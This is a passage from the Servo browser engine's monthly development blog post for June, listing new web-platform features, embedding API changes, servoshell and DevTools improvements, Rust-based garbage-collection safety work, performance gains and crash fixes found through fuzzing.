        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>We’re implementing the more powerful version of <strong>‘attr()’</strong> that can be used anywhere, not just in ‘content’, under <code>--pref layout­_css­_attr­_enabled</code> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45041">#45041</a>, <a href="https://github.com/servo/servo/pull/45421">#45421</a>, <a href="https://github.com/servo/servo/pull/45495">#45495</a>, <a href="https://github.com/servo/servo/pull/45752">#45752</a>).</p>
<p><strong>WebGPU</strong> support has improved, under <code>--pref dom­_webgpu­_enabled</code>:</p>
<ul>
<li>implemented <strong>copy­External­Image­To­Texture()</strong> on <strong>GPU­Queue</strong> (<a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/servo/servo/pull/45646">#45646</a>)</li>
<li>implemented <strong>create­Query­Set()</strong> on <strong>GPU­Device</strong> and <strong>resolve­Query­Set()</strong> on <strong>GPU­Command­Encoder</strong> (<a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/servo/servo/pull/45644">#45644</a>)</li>
<li>implemented <strong>push­Debug­Group()</strong>, <strong>pop­Debug­Group()</strong>, and <strong>insert­Debug­Marker()</strong> on <strong>GPU­Command­Encoder</strong>, <strong>GPU­Compute­Pass­Encoder</strong>, and <strong>GPU­Render­Pass­Encoder</strong> (<a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/45489">#45489</a>)</li>
<li>more conformant <strong>GPU­Texture</strong> (<a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/servo/servo/pull/45300">#45300</a>)</li>
<li>more conformant <strong>request­Adapter()</strong> on <strong>GPU</strong> (<a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/servo/servo/pull/45424">#45424</a>)</li>
<li>more conformant <strong>secure context</strong> enforcement (<a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/servo/servo/pull/45279">#45279</a>)</li>
</ul>
<p>All of the features above are enabled in servoshell’s <a href="https://book.servo.org/design-documentation/experimental-features.html#experimental-web-platform-features">experimental mode</a>.</p>
<p>We’ve made more progress towards <strong>accessibility</strong> support, under <code>--pref accessibility_enabled</code> (<a href="https://github.com/alice">@alice</a>, <a href="https://github.com/delan">@delan</a>, <a href="https://github.com/servo/servo/pull/45555">#45555</a>, <a href="https://github.com/servo/servo/pull/45554">#45554</a>, <a href="https://github.com/servo/servo/pull/44949">#44949</a>).</p>
<p>We’ve started implementing visible and interactive <strong>text selection</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/SimonSapin">@SimonSapin</a>, <a href="https://github.com/servo/servo/pull/46107">#46107</a>), one of the most long-awaited features of any web browser.
Stay tuned!</p>
<p>We’ve also started working on <strong>Web Animations</strong>, under <code>--pref dom­_web­_animations­_enabled</code> (<a href="https://github.com/simonwuelker">@simonwuelker</a>, <a href="https://github.com/servo/servo/pull/45522">#45522</a>, <a href="https://github.com/servo/servo/pull/45983">#45983</a>), as well as <strong>webkit­Relative­Path</strong> on <strong>File</strong>, under <code>--pref dom­_entries­_api­_enabled</code> (<a href="https://github.com/yezhizhen">@yezhizhen</a>, <a href="https://github.com/servo/servo/pull/45666">#45666</a>).</p>
<p>Rust doesn’t have a stable <a href="https://en.wikipedia.org/wiki/Application_binary_interface">ABI</a>, so it has generally not been possible to embed Servo in another application without building Servo from source.
To make it possible, we’ve started designing a <strong>wrapper C API</strong> that will let you consume Servo as a prebuilt shared library using the stable and ubiquitous C ABI (<a href="https://github.com/mukilan">@mukilan</a>, <a href="https://github.com/servo/servo/pull/44984">#44984</a>).
Eventually the idea is that we’ll create a wrapper Rust API around <em>that</em> wrapper C API, so you can have both the ergonomics of Rust <em>and</em> the build simplicity of C.</p>
<h3>Embedding API <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#embedding-api">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>New in the <a href="https://doc.servo.org/servo/"><strong>Servo API</strong></a>:</p>
<ul>
<li><a href="https://doc.servo.org/servo/struct.WebView.html"><code>Web­View</code></a>::<a href="https://doc.servo.org/servo/struct.WebView.html#method.rendering_context"><code>rendering­_context</code></a> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/46047">#46047</a>)</li>
</ul>
<p>Breaking changes:</p>
<ul>
<li><a href="https://doc.servo.org/servo/struct.WebView.html"><code>Web­View</code></a>::<code>send­_error</code> has been removed (<a href="https://github.com/mukilan">@mukilan</a>, <a href="https://github.com/servo/servo/pull/45502">#45502</a>) – this method was always meant to be internal, and has become unused after we introduced the new Web­View- and Web­View­Delegate-based API</li>
</ul>
<p>We’ve improved the docs for Web­View, Web­View­Delegate, JS­Value, Alert­Dialog, Allow­Or­Deny­Request, Authentication­Response, Bluetooth­Device­Description, Confirm­Dialog, Console­Log­Level, Create­New­Web­View­Request, Embedder­Control, Embedder­Control­Response, File­Picker, Image, Java­Script­Error­Info, Navigation­Request, Permission­Request, Pixel­Format, Prompt­Dialog, Protocol­Handler­Registration, Protocol­Handler­Update­Registration, Scroll, Select­Element, Select­Element­Request, and Web­View­Vector (<a href="https://github.com/mukilan">@mukilan</a>, <a href="https://github.com/servo/servo/pull/45282">#45282</a>, <a href="https://github.com/servo/servo/pull/45467">#45467</a>).</p>
<h3>For users and developers <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#for-users-and-developers">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>In servoshell:</p>
<ul>
<li>
<p>the <strong>Android</strong> version now requires <strong>Android 13+</strong> (<a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/46104">#46104</a>)</p>
</li>
<li>
<p>the <strong>desktop</strong> version now lets you <strong>drag and drop files</strong> to open them (<a href="https://github.com/simonwuelker">@simonwuelker</a>, <a href="https://github.com/servo/servo/pull/45454">#45454</a>)</p>
</li>
<li>
<p>the <strong>desktop</strong> version now lets the <strong>tab bar scroll horizontally</strong> if you have too many tabs open, but from one tab hoarder to another, maybe you should reconsider having so many tabs open (<a href="https://github.com/Nylme">@Nylme</a>, <a href="https://github.com/servo/servo/pull/44884">#44884</a>)</p>
</li>
<li>
<p>the <strong>desktop</strong> version enters fullscreen on the monitor containing the window, even if you’ve moved it to a different monitor (<a href="https://github.com/rhit-kapilaar">@rhit-kapilaar</a>, <a href="https://github.com/servo/servo/pull/45556">#45556</a>)</p>
</li>
<li>
<p>the <strong>desktop</strong> UI is more performant, resizes more smoothly, and no longer gets stuck in hovered states (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45289">#45289</a>, <a href="https://github.com/servo/servo/pull/45456">#45456</a>, <a href="https://github.com/servo/servo/pull/45290">#45290</a>)</p>
</li>
<li>
<p><strong>&lt;select multiple&gt;</strong> should now be interactable on <strong>all desktop platforms</strong> (<a href="https://github.com/alexcat3">@alexcat3</a>, <a href="https://github.com/servo/servo/pull/45419">#45419</a>)</p>
</li>
<li>
<p><code>localhost:&lt;port&gt;</code> now implies <code>http://</code> <strong>in the location bar</strong> and <strong>on the command line</strong>, rather than treating <code>localhost:</code> as an unsupported URL scheme (<a href="https://github.com/SteveSharonSam">@SteveSharonSam</a>, <a href="https://github.com/servo/servo/pull/45729">#45729</a>, <a href="https://github.com/servo/servo/pull/45832">#45832</a>)</p>
</li>
</ul>
<p>When using the Firefox <strong>DevTools</strong>:</p>
<ul>
<li>
<p>in the <strong>Console</strong> tab, <strong>uncaught exceptions</strong> are reported correctly (<a href="https://github.com/jdm">@jdm</a>, <a href="https://github.com/servo/servo/pull/45549">#45549</a>)</p>
</li>
<li>
<p>in the <strong>Console</strong> and <strong>Debugger</strong> tabs, you can now inspect the elements of <strong>nested arrays</strong> and the entries of <strong>Map objects</strong> (<a href="https://github.com/atbrakhi">@atbrakhi</a>, <a href="https://github.com/servo/servo/pull/45435">#45435</a>, <a href="https://github.com/servo/servo/pull/45514">#45514</a>, <a href="https://github.com/servo/servo/pull/45767">#45767</a>)</p>
</li>
<li>
<p>in the <strong>Debugger</strong> tab, the <strong>Scopes</strong> panel now shows any <strong>‘(uninitialized)’</strong> variables, the value of <code>this</code>, and the <strong>global scope</strong> (<a href="https://github.com/atbrakhi">@atbrakhi</a>, <a href="https://github.com/eerii">@eerii</a>, <a href="https://github.com/servo/servo/pull/45824">#45824</a>, <a href="https://github.com/servo/servo/pull/45517">#45517</a>)</p>
</li>
</ul>
<p>We’ve fixed some build issues on <strong>riscv32</strong>, <strong>riscv64</strong>, and <strong>arm64</strong> (<a href="https://github.com/fxzjshm">@fxzjshm</a>, <a href="https://github.com/saschanaz">@saschanaz</a>, <a href="https://github.com/servo/servo/pull/45285">#45285</a>, <a href="https://github.com/servo/servo/pull/45731">#45731</a>), and modernised servoshell for <strong>Android</strong> to use Compose UI and Kotlin (<a href="https://github.com/veyndan">@veyndan</a>, <a href="https://github.com/servo/servo/pull/45923">#45923</a>, <a href="https://github.com/servo/servo/pull/45932">#45932</a>, <a href="https://github.com/servo/servo/pull/45941">#45941</a>, <a href="https://github.com/servo/servo/pull/45982">#45982</a>, <a href="https://github.com/servo/servo/pull/45985">#45985</a>, <a href="https://github.com/servo/servo/pull/46015">#46015</a>, <a href="https://github.com/servo/servo/pull/46035">#46035</a>, <a href="https://github.com/servo/servo/pull/46037">#46037</a>, <a href="https://github.com/servo/servo/pull/46046">#46046</a>, <a href="https://github.com/servo/servo/pull/46053">#46053</a>, <a href="https://github.com/servo/servo/pull/46061">#46061</a>, <a href="https://github.com/servo/servo/pull/46071">#46071</a>, <a href="https://github.com/servo/servo/pull/45641">#45641</a>, <a href="https://github.com/servo/servo/pull/45643">#45643</a>, <a href="https://github.com/servo/servo/pull/45650">#45650</a>, <a href="https://github.com/servo/servo/pull/45665">#45665</a>, <a href="https://github.com/servo/servo/pull/45671">#45671</a>, <a href="https://github.com/servo/servo/pull/45676">#45676</a>, <a href="https://github.com/servo/servo/pull/45679">#45679</a>, <a href="https://github.com/servo/servo/pull/45683">#45683</a>, <a href="https://github.com/servo/servo/pull/45712">#45712</a>, <a href="https://github.com/servo/servo/pull/45713">#45713</a>, <a href="https://github.com/servo/servo/pull/45734">#45734</a>, <a href="https://github.com/servo/servo/pull/45738">#45738</a>).</p>
<p>For developers of Servo itself:</p>
<ul>
<li>
<p><code>mach try --help</code> now lists all of the kinds of <strong>try jobs</strong> you can run (<a href="https://github.com/shubhamg13">@shubhamg13</a>, <a href="https://github.com/servo/servo/pull/45607">#45607</a>)</p>
</li>
<li>
<p><code>mach test-wpt --update-expectations</code> lets you run <strong>Web Platform Tests</strong> and <a href="https://book.servo.org/contributing/testing.html#updating-web-platform-test-expectations"><strong>update expectations</strong></a> in a single command (<a href="https://github.com/TimvdLippe">@TimvdLippe</a>, <a href="https://github.com/servo/servo/pull/45521">#45521</a>), rather than having to run <code>mach test-wpt --log-raw &lt;path&gt;</code> followed by <code>mach update-wpt &lt;path&gt;</code></p>
</li>
</ul>
<h3>More on the web platform <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#more-on-the-web-platform">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>To allow for more performant scrolling, <strong>‘wheel’ events</strong> are no longer <code>.cancelable</code> unless there are one or more non-<a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#passive"><code>passive</code></a> event listeners (<a href="https://github.com/kunalmohan">@kunalmohan</a>, <a href="https://github.com/servo/servo/pull/45667">#45667</a>).
Note that like in Firefox, ‘wheel’ events are <code>passive</code> by default.</p>
<p><strong>‘dotted’</strong>, <strong>‘dashed’</strong>, and <strong>‘wavy’ text decorations</strong> are now continuous across element boundaries (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45726">#45726</a>).</p>
<p>We’ve improved the conformance of <strong>&lt;dialog&gt;</strong> (<a href="https://github.com/skyz1">@skyz1</a>, <a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45825">#45825</a>, <a href="https://github.com/servo/servo/pull/45761">#45761</a>), <strong>&lt;iframe sandbox&gt;</strong> (<a href="https://github.com/cychronex-labs">@cychronex-labs</a>, <a href="https://github.com/servo/servo/pull/45880">#45880</a>), <strong>&lt;input minlength&gt;</strong> and <strong>&lt;input maxlength&gt;</strong> (<a href="https://github.com/skyz1">@skyz1</a>, <a href="https://github.com/servo/servo/pull/45705">#45705</a>), <strong>CSS gradients</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/43945">#43945</a>), <strong>‘font-style’</strong> and <strong>‘unicode-range’</strong> in <strong>‘<a href="https://github.com/font-face">@font-face</a>’</strong> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45821">#45821</a>), <strong>FontFaceSet</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45390">#45390</a>, <a href="https://github.com/servo/servo/pull/45382">#45382</a>), <strong>HTML­Input­Element</strong> (<a href="https://github.com/steigeo">@steigeo</a>, <a href="https://github.com/servo/servo/pull/45416">#45416</a>), <strong>Intersection­Observer</strong> (<a href="https://github.com/jdm">@jdm</a>, <a href="https://github.com/servo/servo/pull/45655">#45655</a>, <a href="https://github.com/servo/servo/pull/45659">#45659</a>, <a href="https://github.com/servo/servo/pull/45680">#45680</a>), <strong>new Response()</strong> (<a href="https://github.com/yezhizhen">@yezhizhen</a>, <a href="https://github.com/servo/servo/pull/45953">#45953</a>), <strong>URL.create­Object­URL()</strong> and <strong>URL.revoke­Object­URL()</strong> (<a href="https://github.com/yezhizhen">@yezhizhen</a>, <a href="https://github.com/servo/servo/pull/45182">#45182</a>, <a href="https://github.com/servo/servo/pull/45417">#45417</a>), and <strong>ECDSA</strong> and <strong>Ed25519</strong> in <strong>Subtle­Crypto</strong> (<a href="https://github.com/kkoyung">@kkoyung</a>, <a href="https://github.com/servo/servo/pull/45833">#45833</a>, <a href="https://github.com/servo/servo/pull/46017">#46017</a>).</p>
<p>We’ve fixed bugs related to <strong>&lt;input hidden&gt;</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45750">#45750</a>), <strong>‘animation-delay’</strong> (<a href="https://github.com/yezhizhen">@yezhizhen</a>, <a href="https://github.com/servo/servo/pull/45013">#45013</a>), <strong>‘clip-path’</strong> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45468">#45468</a>, <a href="https://github.com/servo/servo/pull/45373">#45373</a>), <strong>‘tab-size’</strong> (<a href="https://github.com/SimonSapin">@SimonSapin</a>, <a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45309">#45309</a>), <strong>‘width’</strong> and <strong>‘height’</strong> (<a href="https://github.com/RichardTjokroutomo">@RichardTjokroutomo</a>, <a href="https://github.com/servo/servo/pull/44627">#44627</a>), <strong>‘box-shadow: inset’</strong> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45620">#45620</a>), <strong>‘animation­iteration’ events</strong> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45990">#45990</a>), <strong>‘click’ events</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45751">#45751</a>), <strong>‘load’ events</strong> (<a href="https://github.com/jdm">@jdm</a>, <a href="https://github.com/servo/servo/pull/45883">#45883</a>), <strong>‘error’ events</strong> in Worker global scopes (<a href="https://github.com/Gae24">@Gae24</a>, <a href="https://github.com/servo/servo/pull/45829">#45829</a>), and <strong>document­.get­Element­By­Id()</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/servo/servo/pull/45433">#45433</a>).</p>
<h3>Garbage collection safety <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#garbage-collection-safety">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>We use a <a href="https://doc.servo.org/script_bindings/cell/struct.DomRefCell.html"><strong>RefCell</strong>-based mechanism</a> to store many of our DOM types in other DOM types, enforcing Rust’s “aliasing xor mutability” rule at runtime by panicking if the rule is violated.
But when garbage collection happens, we need to <a href="https://doc.servo.org/script_bindings/cell/struct.DomRefCell.html#method.borrow">borrow()</a> each DomRefCell to trace the references, and this is the source of many panic bugs.
To fix that whole class of bugs, we initially created <strong>CanGc</strong>, a marker type that would annotate the code paths where GC can occur, in conjunction with custom static analysis (<a href="https://github.com/jdm">@jdm</a>, <a href="https://github.com/servo/servo/pull/33140">#33140</a>).</p>
<p>With the Rust type system we can do even better, if we flip that around and require any <a href="https://doc.servo.org/script_bindings/cell/struct.DomRefCell.html#method.borrow_mut">borrow_mut()</a> call to prove that GC can <em>not</em> occur by passing a <strong>NoGC</strong> marker value.
We can then require that a <code>&amp;NoGC</code> must be borrowed from a <code>&amp;JSContext</code> (which blocks GC) and not a <code>&amp;mut JSContext</code> (which allows GC), taking advantage of how Rust references work without needing any custom static analysis.</p>
<p>We have a large codebase that needs to be migrated in parts, so for now we’ve created the new method <a href="https://doc.servo.org/script_bindings/cell/struct.DomRefCell.html#method.safe_borrow_mut">safe­_borrow­_mut()</a> (<a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/servo/servo/pull/46050">#46050</a>).
We also need to update all of our script-related code to borrow our <a href="https://doc.servo.org/script_bindings/import/base/struct.JSContext.html">safe JSContext wrapper</a>, rather than creating an owned JSContext on the spot.</p>
<p>This continues our long-running effort to <strong>use the Rust type system</strong> to make Servo’s integration with SpiderMonkey safer and more reliable (<a href="https://github.com/Gae24">@Gae24</a>, <a href="https://github.com/Keerti707">@Keerti707</a>, <a href="https://github.com/Narfinger">@Narfinger</a>, <a href="https://github.com/TimvdLippe">@TimvdLippe</a>, <a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/guptapiyush16">@guptapiyush16</a>, <a href="https://github.com/ivomurrell">@ivomurrell</a>, <a href="https://github.com/kunalmohan">@kunalmohan</a>, <a href="https://github.com/skyz1">@skyz1</a>, <a href="https://github.com/servo/servo/pull/45230">#45230</a>, <a href="https://github.com/servo/servo/pull/45436">#45436</a>, <a href="https://github.com/servo/servo/pull/45503">#45503</a>, <a href="https://github.com/servo/servo/pull/45617">#45617</a>, <a href="https://github.com/servo/servo/pull/45711">#45711</a>, <a href="https://github.com/servo/servo/pull/45797">#45797</a>, <a href="https://github.com/servo/servo/pull/45800">#45800</a>, <a href="https://github.com/servo/servo/pull/45858">#45858</a>, <a href="https://github.com/servo/servo/pull/45884">#45884</a>, <a href="https://github.com/servo/servo/pull/45937">#45937</a>, <a href="https://github.com/servo/servo/pull/45902">#45902</a>, <a href="https://github.com/servo/servo/pull/45968">#45968</a>, <a href="https://github.com/servo/servo/pull/45977">#45977</a>, <a href="https://github.com/servo/servo/pull/45991">#45991</a>, <a href="https://github.com/servo/servo/pull/46003">#46003</a>, <a href="https://github.com/servo/servo/pull/46005">#46005</a>, <a href="https://github.com/servo/servo/pull/46084">#46084</a>, <a href="https://github.com/servo/servo/pull/45548">#45548</a>, <a href="https://github.com/servo/servo/pull/45552">#45552</a>, <a href="https://github.com/servo/servo/pull/45590">#45590</a>, <a href="https://github.com/servo/servo/pull/45909">#45909</a>, <a href="https://github.com/servo/servo/pull/45912">#45912</a>, <a href="https://github.com/servo/servo/pull/45943">#45943</a>, <a href="https://github.com/servo/servo/pull/46089">#46089</a>, <a href="https://github.com/servo/servo/pull/46117">#46117</a>, <a href="https://github.com/servo/servo/pull/46114">#46114</a>, <a href="https://github.com/servo/servo/pull/45320">#45320</a>, <a href="https://github.com/servo/servo/pull/45324">#45324</a>, <a href="https://github.com/servo/servo/pull/45328">#45328</a>, <a href="https://github.com/servo/servo/pull/45340">#45340</a>, <a href="https://github.com/servo/servo/pull/45381">#45381</a>, <a href="https://github.com/servo/servo/pull/45385">#45385</a>, <a href="https://github.com/servo/servo/pull/45410">#45410</a>, <a href="https://github.com/servo/servo/pull/45392">#45392</a>, <a href="https://github.com/servo/servo/pull/45409">#45409</a>, <a href="https://github.com/servo/servo/pull/45604">#45604</a>, <a href="https://github.com/servo/servo/pull/45616">#45616</a>, <a href="https://github.com/servo/servo/pull/45618">#45618</a>, <a href="https://github.com/servo/servo/pull/45627">#45627</a>, <a href="https://github.com/servo/servo/pull/45636">#45636</a>, <a href="https://github.com/servo/servo/pull/45662">#45662</a>, <a href="https://github.com/servo/servo/pull/45663">#45663</a>, <a href="https://github.com/servo/servo/pull/45675">#45675</a>, <a href="https://github.com/servo/servo/pull/45674">#45674</a>, <a href="https://github.com/servo/servo/pull/45677">#45677</a>, <a href="https://github.com/servo/servo/pull/45684">#45684</a>, <a href="https://github.com/servo/servo/pull/45735">#45735</a>, <a href="https://github.com/servo/servo/pull/45807">#45807</a>, <a href="https://github.com/servo/servo/pull/45810">#45810</a>, <a href="https://github.com/servo/servo/pull/45816">#45816</a>, <a href="https://github.com/servo/servo/pull/45818">#45818</a>, <a href="https://github.com/servo/servo/pull/45828">#45828</a>, <a href="https://github.com/servo/servo/pull/45838">#45838</a>, <a href="https://github.com/servo/servo/pull/45836">#45836</a>, <a href="https://github.com/servo/servo/pull/45837">#45837</a>, <a href="https://github.com/servo/servo/pull/45840">#45840</a>, <a href="https://github.com/servo/servo/pull/45841">#45841</a>, <a href="https://github.com/servo/servo/pull/45857">#45857</a>, <a href="https://github.com/servo/servo/pull/45859">#45859</a>, <a href="https://github.com/servo/servo/pull/45862">#45862</a>, <a href="https://github.com/servo/servo/pull/45875">#45875</a>, <a href="https://github.com/servo/servo/pull/45887">#45887</a>, <a href="https://github.com/servo/servo/pull/45931">#45931</a>, <a href="https://github.com/servo/servo/pull/45964">#45964</a>, <a href="https://github.com/servo/servo/pull/45935">#45935</a>, <a href="https://github.com/servo/servo/pull/45987">#45987</a>, <a href="https://github.com/servo/servo/pull/45988">#45988</a>, <a href="https://github.com/servo/servo/pull/46001">#46001</a>, <a href="https://github.com/servo/servo/pull/46040">#46040</a>, <a href="https://github.com/servo/servo/pull/46051">#46051</a>, <a href="https://github.com/servo/servo/pull/46057">#46057</a>, <a href="https://github.com/servo/servo/pull/46106">#46106</a>, <a href="https://github.com/servo/servo/pull/46125">#46125</a>, <a href="https://github.com/servo/servo/pull/45678">#45678</a>, <a href="https://github.com/servo/servo/pull/46002">#46002</a>, <a href="https://github.com/servo/servo/pull/45845">#45845</a>, <a href="https://github.com/servo/servo/pull/45645">#45645</a>, <a href="https://github.com/servo/servo/pull/45673">#45673</a>, <a href="https://github.com/servo/servo/pull/45259">#45259</a>, <a href="https://github.com/servo/servo/pull/45817">#45817</a>, <a href="https://github.com/servo/servo/pull/45822">#45822</a>, <a href="https://github.com/servo/servo/pull/45876">#45876</a>, <a href="https://github.com/servo/servo/pull/45877">#45877</a>, <a href="https://github.com/servo/servo/pull/45891">#45891</a>).</p>
<h3>Performance and stability <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#performance-and-stability">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p><strong>NoGC</strong> was designed to prevent dynamic borrow failures, but it also enables some performance optimisations!
If we can prove that garbage collection is impossible in some part of Servo, we can often <strong>avoid rooting JavaScript objects</strong> when interacting with them within that region of code.
This has allowed us to reduce overheads by over 1% in the <strong>layout</strong> process and in <strong>HTML­Collection</strong> (<a href="https://github.com/Narfinger">@Narfinger</a>, <a href="https://github.com/servo/servo/pull/46092">#46092</a>, <a href="https://github.com/servo/servo/pull/45582">#45582</a>).</p>
<p>Our <strong>memory usage</strong> has improved, with <strong>BoxFragment</strong> now <strong>17% smaller</strong> (288 → 240 bytes on amd64) and <strong>ShapeCacheEntry</strong> now smaller too (<a href="https://github.com/SimonSapin">@SimonSapin</a>, <a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/simonwuelker">@simonwuelker</a>, <a href="https://github.com/servo/servo/pull/45183">#45183</a>, <a href="https://github.com/servo/servo/pull/45496">#45496</a>).</p>
<p>We’ve fixed some nasty <strong>memory leaks</strong> when <strong>reloading</strong> and in <strong>2D canvases</strong> (<a href="https://github.com/Taym95">@Taym95</a>, <a href="https://github.com/sagudev">@sagudev</a>, <a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/45455">#45455</a>, <a href="https://github.com/servo/servo/pull/45261">#45261</a>, <a href="https://github.com/servo/servo/pull/45414">#45414</a>).</p>
<p>Speaking of which, <strong>2D canvases</strong> now use up to <strong>23% less power</strong> (<a href="https://github.com/yezhizhen">@yezhizhen</a>, <a href="https://github.com/servo/servo/pull/45301">#45301</a>), and we now avoid rasterising the same SVG more than once (<a href="https://github.com/Narfinger">@Narfinger</a>, <a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/44805">#44805</a>).</p>
<p>Servo now <strong>decodes all images asynchronously</strong> and <strong>fills image caches asynchronously</strong>, leaving script threads (web content processes) more time for other work (<a href="https://github.com/Narfinger">@Narfinger</a>, <a href="https://github.com/servo/servo/pull/45542">#45542</a>, <a href="https://github.com/servo/servo/pull/44483">#44483</a>).
On top of that, we’ve improved <strong>incremental layout</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45411">#45411</a>) and reduced reflows in <strong>IntersectionObserver</strong> (<a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/45986">#45986</a>).</p>
<p>We’ve started working on <strong>incremental updates</strong> for the <strong>stacking context tree</strong>, and as a side effect, we’ve made some layout-bound microbenchmarks up to 10% faster (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45208">#45208</a>).</p>
<p>We’ve also reduced allocations, copies, GC rooting steps, and other operations in many parts of Servo (<a href="https://github.com/Narfinger">@Narfinger</a>, <a href="https://github.com/SimonSapin">@SimonSapin</a>, <a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45506">#45506</a>, <a href="https://github.com/servo/servo/pull/45969">#45969</a>, <a href="https://github.com/servo/servo/pull/45940">#45940</a>, <a href="https://github.com/servo/servo/pull/45760">#45760</a>, <a href="https://github.com/servo/servo/pull/46090">#46090</a>, <a href="https://github.com/servo/servo/pull/45335">#45335</a>, <a href="https://github.com/servo/servo/pull/45413">#45413</a>, <a href="https://github.com/servo/servo/pull/45511">#45511</a>).</p>
<p>For several months, Frédéric (<a href="https://github.com/fred-wang">@fred-wang</a>) has been <a href="https://en.wikipedia.org/wiki/Fuzzing"><strong>fuzzing</strong></a> for Servo bugs, and thanks to his work we’ve fixed sixteen (16) <strong>crash bugs</strong> in June, affecting <strong>&lt;iframe&gt;</strong>, <strong>&lt;slot&gt;</strong>, <strong>&lt;link onerror&gt;</strong>, <strong>‘animation’</strong>, <strong>‘clip-path’</strong>, <strong>‘content’</strong>, <strong>‘rotate’</strong>, <strong>‘transition’</strong>, <strong>‘transform-style’</strong>, <strong>‘display: contents’</strong>, <strong>‘overflow: clip’</strong>, <strong>CSS­Keyframes­Rule</strong>, <strong>Font­Face</strong>, <strong>stop() on Window</strong>, <strong>document­.element­From­Point()</strong>, and the <strong>DOM tree</strong> (<a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/fred-wang">@fred-wang</a>, <a href="https://github.com/servo/servo/pull/46031">#46031</a>, <a href="https://github.com/servo/servo/pull/46027">#46027</a>, <a href="https://github.com/servo/servo/pull/46054">#46054</a>, <a href="https://github.com/servo/servo/pull/46058">#46058</a>, <a href="https://github.com/servo/servo/pull/46016">#46016</a>, <a href="https://github.com/servo/servo/pull/46028">#46028</a>, <a href="https://github.com/servo/servo/pull/46033">#46033</a>, <a href="https://github.com/servo/servo/pull/45287">#45287</a>, <a href="https://github.com/servo/servo/pull/45951">#45951</a>, <a href="https://github.com/servo/servo/pull/45634">#45634</a>, <a href="https://github.com/servo/servo/pull/45629">#45629</a>, <a href="https://github.com/servo/servo/pull/46110">#46110</a>, <a href="https://github.com/servo/servo/pull/46094">#46094</a>, <a href="https://github.com/servo/servo/pull/45799">#45799</a>, <a href="https://github.com/servo/servo/pull/45611">#45611</a>, <a href="https://github.com/servo/servo/pull/45682">#45682</a>, <a href="https://github.com/servo/servo/pull/45788">#45788</a>, <a href="https://github.com/servo/servo/pull/45612">#45612</a>, <a href="https://github.com/servo/servo/pull/45834">#45834</a>).</p>
<p>We’ve also fixed crash bugs related to <strong>IPC</strong> failures, <strong>HTML­Input­Element</strong>, <strong>Range</strong>, the <strong>DevTools</strong> Debugger tab, and when servoshell is built with <code>--features native-bluetooth</code> (<a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/Taym95">@Taym95</a>, <a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/atbrakhi">@atbrakhi</a>, <a href="https://github.com/mukilan">@mukilan</a>, <a href="https://github.com/servo/servo/pull/45311">#45311</a>, <a href="https://github.com/servo/servo/pull/45619">#45619</a>, <a href="https://github.com/servo/servo/pull/45765">#45765</a>, <a href="https://github.com/servo/servo/pull/45513">#45513</a>, <a href="https://github.com/servo/servo/pull/45702">#45702</a>).</p>
